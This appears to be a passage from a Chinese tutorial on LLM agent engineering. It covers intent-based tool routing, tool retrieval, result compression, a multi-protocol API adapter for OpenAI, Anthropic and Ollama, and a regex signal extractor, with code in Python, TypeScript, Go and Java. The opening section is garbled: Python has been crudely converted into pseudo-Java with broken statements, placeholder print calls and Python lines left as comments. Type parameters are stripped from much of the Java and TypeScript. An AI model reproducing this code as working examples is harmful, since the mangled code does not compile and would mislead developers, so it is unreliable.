// Python: validated = param_model(**args_dict)
// Python: args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict)
// except block
if attempt List[Intent]:
// Python: prompt = self.INTENT_PROMPT.format(query=query)
// Python: response = llm_client.chat(prompt)
// Python: parsed = json.loads(response)
// Python: intents = [Intent(**i) for i in parsed["intents"]]
return intents;
// ===== 9.11 Tool RAG =====
public class ToolRAG {
public ToolRAG(vector_store, all_toolsList) {
// Python: self.vector_store = vector_store
// Python: self.all_tools = all_tools
// 注册所有工具描述到向量库
for (var tool : all_tools) {
// Python: text = self._tool_to_text(tool)
// Python: self.vector_store.upsert(tool["function"]["name"], text)
// Python: def _tool_to_text(self, tool: Dict) -> str:
// Python: f = tool["function"]
// Python: text = f"{f['name']}: {f['description']}"
// Python: for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
// Python: text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text;
// Python: def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
// Python: results = self.vector_store.search(query, top_k=top_k)
// Python: tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names];
// ===== 9.13 结构化验证 =====
// 定义参数模型(按工具)
public class WeatherParams {
// Python: city: str
// Python: date: Optional[str] = None
public class SearchParams {
// Python: query: str
// Python: max_results: Optional[int] = 5
public class PythonParams {
// Python: code: str
// Python: timeout: Optional[int] = 30
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "web_search": SearchParams,
// Python: "run_python": PythonParams,
// Python: }
// ===== 9.12 结果压缩 =====
public class ResultCompressor {
// Python: KEY_FIELDS = {
// Python: "get_weather": ["temperature", "description", "wind_speed"],
// Python: "web_search": ["title", "snippet", "url"],
// Python: "run_python": ["stdout"],
// Python: }
// Python: MAX_CHARS = 500
// Python: def compress(self, tool_name: str, result: Any) -> Dict:
// Python: keys = self.KEY_FIELDS.get(tool_name, [])
// Python: compressed = {}
if (isinstance(result, dict) && keys) {
for (var k : keys) {
if (k in result) {
// Python: val = str(result[k])
// Python: compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// Python: compressed["summary"] = str(result)[:self.MAX_CHARS]
// Python: compressed["_meta"] = {
// Python: "tool": tool_name,
// Python: "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// Python: }
return compressed;
// ===== 全链路路由 =====
public class SmartToolRouter {
public SmartToolRouter(llm_client, vector_store, all_tools, tool_executor) {
// Python: self.llm = llm_client
// Python: self.intent_classifier = IntentClassifier()
// Python: self.tool_rag = ToolRAG(vector_store, all_tools)
// Python: self.result_compressor = ResultCompressor()
// Python: self.tool_executor = tool_executor
// Python: self.max_retries = 2
// Python: def process(self, user_query: str) -> str:
// ① 意图识别
// Python: intents = self.intent_classifier.classify(user_query, self.llm)
System.out.println(String.format("$1"));
// Python: for i, intent in enumerate(intents):
System.out.println(String.format("$1"));
// ② 按意图检索候选工具
// Python: all_relevant_tools = []
for (var intent : intents) {
// Python: tools = self.tool_rag.retrieve(intent.target, top_k=3)
// Python: all_relevant_tools.extend(tools)
// 去重
// Python: seen = set()
// Python: unique_tools = []
for (var t : all_relevant_tools) {
// Python: name = t["function"]["name"]
if (name !in seen) {
// Python: seen.add(name)
// Python: unique_tools.append(t)
System.out.println(String.format("$1"));
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述(JIT策略),而非全部工具
// Python: tool_call_results = []
for (var intent : intents) {
// 按意图过滤最相关工具
// Python: intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// Python: llm_response = self.llm.call_with_tools(
// Python: messages=[{"role": "user", "content": intent.text}],
// Python: tools=intent_tools
// Python: )
if (!llm_response.tool_calls) {
// LLM 认为不需要工具 → 直接回答
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "direct_answer": llm_response.content
// Python: })
continue;
// ④ 结构化验证 + 执行 + 重试
for (var tool_call : llm_response.tool_calls) {
// Python: result = self._execute_with_validation(
// Python: tool_call.function.name,
// Python: tool_call.function.arguments
// Python: )
// ⑤ 结果压缩
// Python: compressed = self.result_compressor.compress(
// Python: tool_call.function.name, result
// Python: )
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "tool": tool_call.function.name,
// Python: "result": compressed
// Python: })
// ⑥ LLM 整合所有结果,生成自然语言回答
// Python: final_prompt = f"""用户原始请求: {user_query}
// Python: 以下是为您收集的工具调用结果:
// Python: {json.dumps(tool_call_results, ensure_ascii=False)}
// Python: 请整合这些结果,给用户一个清晰有用的回答。"""
// Python: final_answer = self.llm.chat(final_prompt)
return final_answer;
// Python: def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
// Python: param_model = PARAM_MODELS.get(tool_name)
for (var attempt : range(self.max_retries + 1)) {
// Python: try:
// Python: args_dict = json.loads(raw_args)
if (param_model) {
// Python: validated = param_model(**args_dict)
// Python: args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict);
// Python: except (json.JSONDecodeError, ValidationError) as e:
if (attempt Python
TypeScript
Go
Java
```python
from abc import ABC, abstractmethod
from typing import Any
import json
class ProtocolStrategy(ABC):
"""协议适配层抽象接口"""
@abstractmethod
def build_request(self, messages: list[dict], tools: list[dict] = None,
system: str = None, **kwargs) -> dict:
"""将统一格式转换为目标协议格式"""
pass
@abstractmethod
def parse_response(self, response: dict) -> dict:
"""将目标协议响应解析为统一格式"""
pass
@abstractmethod
def parse_tool_call(self, response: dict) -> list[dict]:
"""提取工具调用信息"""
pass
@abstractmethod
def parse_stream_chunk(self, chunk: str) -> dict:
"""解析流式响应块"""
pass
class OpenAIProtocol(ProtocolStrategy):
"""OpenAI Chat Completions 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
msgs = messages.copy()
if system:
msgs = [{"role": "system", "content": system}] + msgs
body = {"model": kwargs.get("model", "gpt-4o"), "messages": msgs}
if tools:
body["tools"] = [{"type": "function", "function": t} for t in tools]
return body
def parse_response(self, response):
return {
"content": response["choices"][0]["message"]["content"],
"role": response["choices"][0]["message"]["role"],
"finish_reason": response["choices"][0]["finish_reason"]
}
def parse_tool_call(self, response):
msg = response["choices"][0]["message"]
if not msg.get("tool_calls"):
return []
return [
{"id": tc["id"], "name": tc["function"]["name"],
"args": json.loads(tc["function"]["arguments"])}
for tc in msg["tool_calls"]
]
def parse_stream_chunk(self, chunk):
data = json.loads(chunk.removeprefix("data: ").strip())
delta = data["choices"][0].get("delta", {})
return {"content": delta.get("content", ""),
"tool_call": delta.get("tool_calls", None)}
class AnthropicProtocol(ProtocolStrategy):
"""Anthropic Messages API 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
body = {
"model": kwargs.get("model", "claude-sonnet-4-20250514"),
"messages": messages,
"max_tokens": kwargs.get("max_tokens", 4096)
}
if system:
body["system"] = system
if tools:
body["tools"] = [
{"name": t["name"], "description": t["description"],
"input_schema": t["parameters"]} for t in tools
]
return body
def parse_response(self, response):
content_blocks = response.get("content", [])
text = "".join(b.get("text", "") for b in content_blocks if b["type"] == "text")
return {"content": text, "role": "assistant",
"finish_reason": response.get("stop_reason", "")}
def parse_tool_call(self, response):
return [
{"id": b["id"], "name": b["name"],
"args": b.get("input", {})}
for b in response.get("content", []) if b["type"] == "tool_use"
]
def parse_stream_chunk(self, chunk):
# Anthropic SSE: event: content_block_delta
if chunk.startswith("data: "):
data = json.loads(chunk[6:])
if data.get("type") == "content_block_delta":
delta = data.get("delta", {})
return {"content": delta.get("text", ""),
"tool_call": None}
return {"content": "", "tool_call": None}
class ResponsesProtocol(ProtocolStrategy):
"""OpenAI Responses API (2025+) 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
# Responses API 使用 input 字段
body = {
"model": kwargs.get("model", "gpt-4.1"),
"input": messages, # 直接使用 messages 数组
}
if system:
body["instructions"] = system
if tools:
body["tools"] = tools # 支持内置工具类型
return body
def parse_response(self, response):
return {
"content": response.get("output_text", ""),
"role": "assistant",
"finish_reason": response.get("status", "completed")
}
def parse_tool_call(self, response):
calls = []
for item in response.get("output", []):
if item.get("type") == "function_call":
calls.append({
"id": item.get("call_id"),
"name": item.get("name"),
"args": json.loads(item.get("arguments", "{}"))
})
return calls
def parse_stream_chunk(self, chunk):
data = json.loads(chunk.removeprefix("data: ").strip())
etype = data.get("type", "")
if etype == "response.output_text.delta":
return {"content": data.get("delta", ""), "tool_call": None}
return {"content": "", "tool_call": None}
class OllamaProtocol(ProtocolStrategy):
"""Ollama 本地模型协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
body = {
"model": kwargs.get("model", "llama3.2"),
"messages": messages,
"stream": kwargs.get("stream", False),
"format": "json" if kwargs.get("json_mode") else None
}
if system and not any(m["role"] == "system" for m in messages):
body["messages"] = [{"role": "system", "content": system}] + messages
return body
def parse_response(self, response):
return {
"content": response.get("message", {}).get("content", ""),
"role": "assistant",
"finish_reason": "stop"
}
def parse_tool_call(self, response):
# Ollama 通过 OpenAI 兼容模式支持工具调用
return []
def parse_stream_chunk(self, chunk):
data = json.loads(chunk)
return {"content": data.get("message", {}).get("content", ""),
"tool_call": None}
# === 协议注册中心 ===
PROTOCOLS = {
"openai": OpenAIProtocol(),
"anthropic": AnthropicProtocol(),
"responses": ResponsesProtocol(),
"ollama": OllamaProtocol(),
}
def get_protocol(name: str) -> ProtocolStrategy:
"""根据协议名获取适配器,切换模型零成本"""
if name not in PROTOCOLS:
raise ValueError(f"Unknown protocol: {name}. Supported: {list(PROTOCOLS.keys())}")
return PROTOCOLS[name]
# === 使用示例:一行切换模型 ===
protocol = get_protocol("anthropic") # 切到 Claude
request = protocol.build_request(
messages=[{"role": "user", "content": "你好"}],
system="你是一个助手",
model="claude-sonnet-4-20250514"
)
# 切到 OpenAI 只需改一行
protocol = get_protocol("openai")
request = protocol.build_request(
messages=[{"role": "user", "content": "你好"}],
system="你是一个助手",
model="gpt-4.1"
)
// TypeScript: 多协议适配层
interface ProtocolStrategy {
buildRequest(messages: Message[], tools?: Tool[], system?: string): any;
parseResponse(response: any): UnifiedResponse;
parseToolCall(response: any): ToolCall[];
parseStreamChunk(chunk: string): StreamChunk;
}
class OpenAIProtocol implements ProtocolStrategy {
buildRequest(messages: Message[], tools?: Tool[], system?: string) {
const msgs = system ? [{ role: "system", content: system }, ...messages] : messages;
return { model: "gpt-4.1", messages: msgs, tools: tools?.map(t => ({ type: "function", function: t })) };
}
parseResponse(res: any): UnifiedResponse {
return { content: res.choices[0].message.content, role: "assistant", finishReason: res.choices[0].finish_reason };
}
parseToolCall(res: any): ToolCall[] {
return (res.choices[0].message.tool_calls || []).map((tc: any) => ({
id: tc.id, name: tc.function.name, args: JSON.parse(tc.function.arguments)
}));
}
parseStreamChunk(chunk: string): StreamChunk {
const data = JSON.parse(chunk.replace("data: ", ""));
const delta = data.choices[0]?.delta || {};
return { content: delta.content || "", toolCall: delta.tool_calls || null };
}
}
// 注册中心
const protocols: Record = {
openai: new OpenAIProtocol(),
anthropic: new AnthropicProtocol(),
responses: new ResponsesProtocol(),
ollama: new OllamaProtocol(),
};
// 一行切换协议
const protocol = protocols["openai"];
const req = protocol.buildRequest([{ role: "user", content: "你好" }], undefined, "你是助手");
package main
import (
"encoding/json"
"fmt"
)
// ProtocolStrategy 协议适配层抽象接口
type ProtocolStrategy interface {
BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{}
ParseResponse(response map[string]interface{}) UnifiedResponse
ParseToolCall(response map[string]interface{}) []ToolCall
}
// UnifiedResponse 统一响应格式
type UnifiedResponse struct {
Content string
Role string
FinishReason string
}
// ToolCall 工具调用
type ToolCall struct {
ID string
Name string
Args map[string]interface{}
}
// Message 消息
type Message struct {
Role string `json:"role"`
Content string `json:"content"`
}
// Tool 工具定义
type Tool struct {
Name string
Description string
Parameters map[string]interface{}
}
// OpenAIProtocol OpenAI Chat Completions 协议
type OpenAIProtocol struct{}
func (p *OpenAIProtocol) BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{} {
msgs := make([]map[string]interface{}, 0)
if system != "" {
msgs = append(msgs, map[string]interface{}{"role": "system", "content": system})
}
for _, m := range messages {
msgs = append(msgs, map[string]interface{}{"role": m.Role, "content": m.Content})
}
body := map[string]interface{}{
"model": "gpt-4.1",
"messages": msgs,
}
if len(tools) > 0 {
toolDefs := make([]map[string]interface{}, len(tools))
for i, t := range tools {
toolDefs[i] = map[string]interface{}{
"type": "function",
"function": map[string]interface{}{
"name": t.Name,
"description": t.Description,
"parameters": t.Parameters,
},
}
}
body["tools"] = toolDefs
}
return body
}
func (p *OpenAIProtocol) ParseResponse(response map[string]interface{}) UnifiedResponse {
choices := response["choices"].([]interface{})
choice := choices[0].(map[string]interface{})
msg := choice["message"].(map[string]interface{})
return UnifiedResponse{
Content: msg["content"].(string),
Role: msg["role"].(string),
FinishReason: choice["finish_reason"].(string),
}
}
func (p *OpenAIProtocol) ParseToolCall(response map[string]interface{}) []ToolCall {
choices := response["choices"].([]interface{})
choice := choices[0].(map[string]interface{})
msg := choice["message"].(map[string]interface{})
toolCalls, ok := msg["tool_calls"].([]interface{})
if !ok {
return []ToolCall{}
}
calls := make([]ToolCall, 0, len(toolCalls))
for _, tc := range toolCalls {
tcMap := tc.(map[string]interface{})
fn := tcMap["function"].(map[string]interface{})
var args map[string]interface{}
json.Unmarshal([]byte(fn["arguments"].(string)), &args)
calls = append(calls, ToolCall{
ID: tcMap["id"].(string),
Name: fn["name"].(string),
Args: args,
})
}
return calls
}
// AnthropicProtocol Anthropic Messages API 协议
type AnthropicProtocol struct{}
func (p *AnthropicProtocol) BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{} {
msgs := make([]map[string]interface{}, len(messages))
for i, m := range messages {
msgs[i] = map[string]interface{}{"role": m.Role, "content": m.Content}
}
body := map[string]interface{}{
"model": "claude-sonnet-4-20250514",
"messages": msgs,
"max_tokens": 4096,
}
if system != "" {
body["system"] = system
}
if len(tools) > 0 {
toolDefs := make([]map[string]interface{}, len(tools))
for i, t := range tools {
toolDefs[i] = map[string]interface{}{
"name": t.Name,
"description": t.Description,
"input_schema": t.Parameters,
}
}
body["tools"] = toolDefs
}
return body
}
func (p *AnthropicProtocol) ParseResponse(response map[string]interface{}) UnifiedResponse {
contentBlocks := response["content"].([]interface{})
text := ""
for _, b := range contentBlocks {
block := b.(map[string]interface{})
if block["type"] == "text" {
text += block["text"].(string)
}
}
stopReason, _ := response["stop_reason"].(string)
return UnifiedResponse{Content: text, Role: "assistant", FinishReason: stopReason}
}
func (p *AnthropicProtocol) ParseToolCall(response map[string]interface{}) []ToolCall {
contentBlocks := response["content"].([]interface{})
calls := []ToolCall{}
for _, b := range contentBlocks {
block := b.(map[string]interface{})
if block["type"] == "tool_use" {
args, _ := block["input"].(map[string]interface{})
calls = append(calls, ToolCall{
ID: block["id"].(string),
Name: block["name"].(string),
Args: args,
})
}
}
return calls
}
// 协议注册中心
var protocols = map[string]ProtocolStrategy{
"openai": &OpenAIProtocol{},
"anthropic": &AnthropicProtocol{},
}
func GetProtocol(name string) (ProtocolStrategy, error) {
p, ok := protocols[name]
if !ok {
return nil, fmt.Errorf("unknown protocol: %s", name)
}
return p, nil
}
// === 使用示例 ===
func main() {
// 切到 Anthropic
protocol, _ := GetProtocol("anthropic")
req := protocol.BuildRequest(
[]Message{{Role: "user", Content: "你好"}},
nil, "你是一个助手", nil,
)
jsonData, _ := json.MarshalIndent(req, "", " ")
fmt.Println(string(jsonData))
// 切到 OpenAI 只需改一行
protocol, _ = GetProtocol("openai")
req = protocol.BuildRequest(
[]Message{{Role: "user", Content: "你好"}},
nil, "你是一个助手", nil,
)
jsonData, _ = json.MarshalIndent(req, "", " ")
fmt.Println(string(jsonData))
}
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.JsonNode;
import java.util.*;
// 协议适配层抽象接口
interface ProtocolStrategy {
Map buildRequest(List> messages,
List> tools,
String system, Map opts);
Map parseResponse(Map response);
List> parseToolCall(Map response);
}
// OpenAI Chat Completions 协议
class OpenAIProtocol implements ProtocolStrategy {
private final ObjectMapper mapper = new ObjectMapper();
@Override
public Map buildRequest(List> messages,
List> tools,
String system, Map opts) {
List> msgs = new ArrayList<>();
if (system != null && !system.isEmpty()) {
msgs.add(Map.of("role", "system", "content", system));
}
for (Map m : messages) {
msgs.add(new HashMap<>(m));
}
Map body = new HashMap<>();
body.put("model", "gpt-4.1");
body.put("messages", msgs);
if (tools != null && !tools.isEmpty()) {
List> toolDefs = new ArrayList<>();
for (Map t : tools) {
toolDefs.add(Map.of("type", "function", "function", t));
}
body.put("tools", toolDefs);
}
return body;
}
@Override
@SuppressWarnings("unchecked")
public Map parseResponse(Map response) {
List> choices = (List>) response.get("choices");
Map msg = (Map) choices.get(0).get("message");
return Map.of(
"content", msg.getOrDefault("content", ""),
"role", msg.getOrDefault("role", "assistant"),
"finish_reason", choices.get(0).getOrDefault("finish_reason", "")
);
}
@Override
@SuppressWarnings("unchecked")
public List> parseToolCall(Map response) {
List> choices = (List>) response.get("choices");
Map msg = (Map) choices.get(0).get("message");
List> toolCalls = (List>) msg.get("tool_calls");
if (toolCalls == null) return List.of();
List> calls = new ArrayList<>();
for (Map tc : toolCalls) {
Map fn = (Map) tc.get("function");
try {
JsonNode args = mapper.readTree(fn.get("arguments").toString());
Map argsMap = mapper.convertValue(args, Map.class);
calls.add(Map.of(
"id", tc.get("id"),
"name", fn.get("name"),
"args", argsMap
));
} catch (Exception e) {
calls.add(Map.of("id", tc.get("id"), "name", fn.get("name"), "args", Map.of()));
}
}
return calls;
}
}
// Anthropic Messages API 协议
class AnthropicProtocol implements ProtocolStrategy {
@Override
public Map buildRequest(List> messages,
List> tools,
String system, Map opts) {
Map body = new HashMap<>();
body.put("model", "claude-sonnet-4-20250514");
body.put("messages", messages);
body.put("max_tokens", 4096);
if (system != null && !system.isEmpty()) {
body.put("system", system);
}
if (tools != null && !tools.isEmpty()) {
List> toolDefs = new ArrayList<>();
for (Map t : tools) {
Map td = new HashMap<>();
td.put("name", t.get("name"));
td.put("description", t.get("description"));
td.put("input_schema", t.get("parameters"));
toolDefs.add(td);
}
body.put("tools", toolDefs);
}
return body;
}
@Override
@SuppressWarnings("unchecked")
public Map parseResponse(Map response) {
List> blocks = (List>) response.get("content");
StringBuilder text = new StringBuilder();
for (Map b : blocks) {
if ("text".equals(b.get("type"))) {
text.append(b.get("text"));
}
}
return Map.of(
"content", text.toString(),
"role", "assistant",
"finish_reason", response.getOrDefault("stop_reason", "")
);
}
@Override
@SuppressWarnings("unchecked")
public List> parseToolCall(Map response) {
List> blocks = (List>) response.get("content");
List> calls = new ArrayList<>();
for (Map b : blocks) {
if ("tool_use".equals(b.get("type"))) {
calls.add(Map.of(
"id", b.get("id"),
"name", b.get("name"),
"args", b.getOrDefault("input", Map.of())
));
}
}
return calls;
}
}
// 协议注册中心
class ProtocolRegistry {
private static final Map protocols = new HashMap<>();
static {
protocols.put("openai", new OpenAIProtocol());
protocols.put("anthropic", new AnthropicProtocol());
}
public static ProtocolStrategy getProtocol(String name) {
ProtocolStrategy p = protocols.get(name);
if (p == null) throw new IllegalArgumentException("Unknown protocol: " + name);
return p;
}
}
// === 使用示例 ===
public class Main {
public static void main(String[] args) {
// 切到 Anthropic
ProtocolStrategy protocol = ProtocolRegistry.getProtocol("anthropic");
Map req = protocol.buildRequest(
List.of(Map.of("role", "user", "content", "你好")),
null, "你是一个助手", null
);
System.out.println(req);
// 切到 OpenAI 只需改一行
protocol = ProtocolRegistry.getProtocol("openai");
req = protocol.buildRequest(
List.of(Map.of("role", "user", "content", "你好")),
null, "你是一个助手", null
);
System.out.println(req);
}
}
设计要点:多协议适配层的核心价值是解耦——Agent 核心逻辑只对接统一接口,不关心底层协议差异。切换模型只需改一行 get_protocol("anthropic") → get_protocol("openai")。新增协议只需实现 ProtocolStrategy 接口,符合开闭原则。
10.17 信号提取:从对话中识别用户真实意图
用户说"帮我看看这段代码"——他想要的是代码审查?Bug 修复?还是性能优化?信号提取就是从用户输入中识别出隐含的意图、约束、偏好等关键信息,是工具路由的前置条件。
10.17.1 信号的五大类型
📡 用户对话中的五类信号 | 信号类型 | 示例 | 提取方式 | 影响 | | --- | --- | --- | --- | | 意图信号 | "帮我修一下" → 修复意图 | 意图分类器 | 工具路由方向 | | 约束信号 | "用 Python 3.12" → 语言版本约束 | 实体识别 (NER) | 代码生成约束 | | 偏好信号 | "不要用类" → 函数式偏好 | 否定句解析 | 代码风格选择 | | 上下文信号 | 选中了第 10-20 行 → 操作范围 | 编辑器状态读取 | 操作作用域 | | 情绪信号 | "怎么又报错了!" → 挫败感 | 情感分析 | 回复语气调整 | ### 10.17.2 信号提取实现
Python TypeScript Go Java
import re
from dataclasses import dataclass, field
from typing import Optional
@dataclass
class Signal:
"""提取出的信号"""
signal_type: str # intent | constraint | preference | context | emotion
key: str # 信号键,如 "language", "style", "intent"
value: str # 信号值,如 "python", "functional", "fix"
confidence: float # 置信度 0-1
source: str = "text" # 来源:text | editor | history
@dataclass
class SignalExtractor:
"""信号提取器:从用户输入中识别隐含信息"""
# 意图关键词映射
intent_patterns = {
"fix": [r"修[复改]", r"报错", r"bug", r"不工作", r"为什么.*错"],
"refactor": [r"重构", r"优化", r"改进", r"refactor", r"improve"],
"explain": [r"解释", r"什么意思", r"为什么", r"怎么.*实现", r"explain"],
"test": [r"测试", r"test", r"写.*用例", r"单元测试"],
"deploy": [r"部署", r"deploy", r"上线", r"发布"],
}
# 约束关键词映射
constraint_patterns = {
"language": r"(Python|TypeScript|Go|Java|Rust|JavaScript|C\+\+|Ruby)",
"version": r"(\d+\.\d+(?:\.\d+)?)",
"framework": r"(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)",
}
# 否定偏好模式
preference_patterns = {
"no_class": r"不要用类|不用 class|函数式",
"no_loop": r"不用循环|不要 for|递归实现",
"no_library": r"不用.*库|不要.*依赖|纯手写",
}
def extract(self, text: str, editor_context: dict = None) -> list[Signal]:
signals = []
# 1. 意图信号
for intent, patterns in self.intent_patterns.items():
for p in patterns:
if re.search(p, text, re.IGNORECASE):
signals.append(Signal("intent", "action", intent, 0.85))
break
# 2. 约束信号
for key, pattern in self.constraint_patterns.items():
match = re.search(pattern, text, re.IGNORECASE)
if match:
signals.append(Signal("constraint", key, match.group(1), 0.9))
# 3. 偏好信号
for key, pattern in self.preference_patterns.items():
if re.search(pattern, text, re.IGNORECASE):
signals.append(Signal("preference", "style", key, 0.8))
# 4. 上下文信号(来自编辑器状态)
if editor_context:
if editor_context.get("selection"):
sel = editor_context["selection"]
signals.append(Signal(
"context", "selection_range",
f"{sel.get('start', 0)}-{sel.get('end', 0)}",
1.0, "editor"
))
if editor_context.get("active_file"):
signals.append(Signal(
"context", "active_file",
editor_context["active_file"], 1.0, "editor"
))
# 5. 情绪信号(简单关键词匹配)
emotion_patterns = {
"frustrated": r"又.*报错|怎么.*错|烦|崩溃|搞不定",
"urgent": r"急|快|马上| ASAP|紧急",
"curious": r"好奇|有趣|为什么.*这样",
}
for emotion, pattern in emotion_patterns.items():
if re.search(pattern, text, re.IGNORECASE):
signals.append(Signal("emotion", "mood", emotion, 0.7))
break
return signals
def route_by_signals(self, signals: list[Signal]) -> str:
"""根据信号决定工具路由"""
intent = next((s for s in signals if s.signal_type == "intent"), None)
if not intent:
return "general_assistant"
routing = {
"fix": "code_debugger",
"refactor": "code_refactorer",
"explain": "code_explainer",
"test": "test_generator",
"deploy": "deployment_agent",
}
return routing.get(intent.value, "general_assistant")
# === 使用示例 ===
extractor = SignalExtractor()
user_input = "帮我修一下这段 Python 代码,报错了,不要用类"
editor_ctx = {"active_file": "main.py", "selection": {"start": 10, "end": 20}}
signals = extractor.extract(user_input, editor_ctx)
for s in signals:
print(f"[{s.signal_type}] {s.key}={s.value} (置信度: {s.confidence})")
# 输出:
# [intent] action=fix (置信度: 0.85)
# [constraint] language=Python (置信度: 0.9)
# [preference] style=no_class (置信度: 0.8)
# [context] selection_range=10-20 (置信度: 1.0)
# [context] active_file=main.py (置信度: 1.0)
# [emotion] mood=frustrated (置信度: 0.7)
route = extractor.route_by_signals(signals)
print(f"路由到: {route}") # 路由到: code_debugger
// TypeScript: 信号提取
interface Signal {
signalType: "intent" | "constraint" | "preference" | "context" | "emotion";
key: string;
value: string;
confidence: number;
source?: "text" | "editor" | "history";
}
class SignalExtractor {
private intentPatterns: Record = {
fix: [/修[复改]/, /报错/, /bug/i, /不工作/],
refactor: [/重构/, /优化/, /refactor/i, /improve/i],
explain: [/解释/, /什么意思/, /explain/i],
test: [/测试/, /test/i, /单元测试/],
};
extract(text: string, editorCtx?: any): Signal[] {
const signals: Signal[] = [];
// 意图信号
for (const [intent, patterns] of Object.entries(this.intentPatterns)) {
if (patterns.some(p => p.test(text))) {
signals.push({ signalType: "intent", key: "action", value: intent, confidence: 0.85 });
}
}
// 约束信号
const langMatch = text.match(/(Python|TypeScript|Go|Java|Rust)/i);
if (langMatch) {
signals.push({ signalType: "constraint", key: "language", value: langMatch[1], confidence: 0.9 });
}
// 编辑器上下文
if (editorCtx?.selection) {
signals.push({
signalType: "context", key: "selection",
value: `${editorCtx.selection.start}-${editorCtx.selection.end}`,
confidence: 1.0, source: "editor"
});
}
return signals;
}
route(signals: Signal[]): string {
const intent = signals.find(s => s.signalType === "intent");
const routing: Record = {
fix: "code_debugger", refactor: "refactorer", explain: "explainer", test: "test_gen"
};
return intent ? routing[intent.value] || "general" : "general";
}
}
package main
import (
"fmt"
"regexp"
"strings"
)
// Signal 提取出的信号
type Signal struct {
SignalType string `json:"signal_type"` // intent | constraint | preference | context | emotion
Key string `json:"key"`
Value string `json:"value"`
Confidence float64 `json:"confidence"`
Source string `json:"source"`
}
// SignalExtractor 信号提取器
type SignalExtractor struct {
intentPatterns map[string][]*regexp.Regexp
constraintPatterns map[string]*regexp.Regexp
preferencePatterns map[string]*regexp.Regexp
emotionPatterns map[string]*regexp.Regexp
}
// NewSignalExtractor 创建信号提取器
func NewSignalExtractor() *SignalExtractor {
return &SignalExtractor{
intentPatterns: map[string][]*regexp.Regexp{
"fix": {regexp.MustCompile(`(?i)修[复改]`), regexp.MustCompile(`(?i)报错`), regexp.MustCompile(`(?i)bug`), regexp.MustCompile(`不工作`)},
"refactor": {regexp.MustCompile(`(?i)重构`), regexp.MustCompile(`(?i)优化`), regexp.MustCompile(`(?i)refactor`), regexp.MustCompile(`(?i)improve`)},
"explain": {regexp.MustCompile(`(?i)解释`), regexp.MustCompile(`(?i)什么意思`), regexp.MustCompile(`(?i)explain`)},
"test": {regexp.MustCompile(`(?i)测试`), regexp.MustCompile(`(?i)test`), regexp.MustCompile(`单元测试`)},
},
constraintPatterns: map[string]*regexp.Regexp{
"language": regexp.MustCompile(`(?i)(Python|TypeScript|Go|Java|Rust|JavaScript|C\+\+|Ruby)`),
"framework": regexp.MustCompile(`(?i)(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)`),
},
preferencePatterns: map[string]*regexp.Regexp{
"no_class": regexp.MustCompile(`(?i)不要用类|不用 class|函数式`),
"no_loop": regexp.MustCompile(`(?i)不用循环|不要 for|递归实现`),
"no_library": regexp.MustCompile(`(?i)不用.*库|不要.*依赖|纯手写`),
},
emotionPatterns: map[string]*regexp.Regexp{
"frustrated": regexp.MustCompile(`又.*报错|怎么.*错|烦|崩溃|搞不定`),
"urgent": regexp.MustCompile(`急|快|马上|ASAP|紧急`),
"curious": regexp.MustCompile(`好奇|有趣|为什么.*这样`),
},
}
}
// EditorContext 编辑器上下文
type EditorContext struct {
ActiveFile string
Selection *Selection
}
type Selection struct {
Start int
End int
}
// Extract 从用户输入中提取信号
func (se *SignalExtractor) Extract(text string, editorCtx *EditorContext) []Signal {
signals := []Signal{}
// 1. 意图信号
for intent, patterns := range se.intentPatterns {
for _, p := range patterns {
if p.MatchString(text) {
signals = append(signals, Signal{"intent", "action", intent, 0.85, "text"})
break
}
}
}
// 2. 约束信号
for key, p := range se.constraintPatterns {
match := p.FindString(text)
if match != "" {
signals = append(signals, Signal{"constraint", key, match, 0.9, "text"})
}
}
// 3. 偏好信号
for key, p := range se.preferencePatterns {
if p.MatchString(text) {
signals = append(signals, Signal{"preference", "style", key, 0.8, "text"})
}
}
// 4. 上下文信号(来自编辑器状态)
if editorCtx != nil {
if editorCtx.Selection != nil {
signals = append(signals, Signal{
"context", "selection_range",
fmt.Sprintf("%d-%d", editorCtx.Selection.Start, editorCtx.Selection.End),
1.0, "editor",
})
}
if editorCtx.ActiveFile != "" {
signals = append(signals, Signal{"context", "active_file", editorCtx.ActiveFile, 1.0, "editor"})
}
}
// 5. 情绪信号
for emotion, p := range se.emotionPatterns {
if p.MatchString(text) {
signals = append(signals, Signal{"emotion", "mood", emotion, 0.7, "text"})
break
}
}
return signals
}
// RouteBySignals 根据信号决定工具路由
func (se *SignalExtractor) RouteBySignals(signals []Signal) string {
for _, s := range signals {
if s.SignalType == "intent" {
routing := map[string]string{
"fix": "code_debugger",
"refactor": "code_refactorer",
"explain": "code_explainer",
"test": "test_generator",
}
if route, ok := routing[s.Value]; ok {
return route
}
}
}
return "general_assistant"
}
// === 使用示例 ===
func main() {
extractor := NewSignalExtractor()
userInput := "帮我修一下这段 Python 代码,报错了,不要用类"
editorCtx := &EditorContext{
ActiveFile: "main.py",
Selection: &Selection{Start: 10, End: 20},
}
signals := extractor.Extract(userInput, editorCtx)
for _, s := range signals {
fmt.Printf("[%s] %s=%s (置信度: %.2f)\n", s.SignalType, s.Key, s.Value, s.Confidence)
}
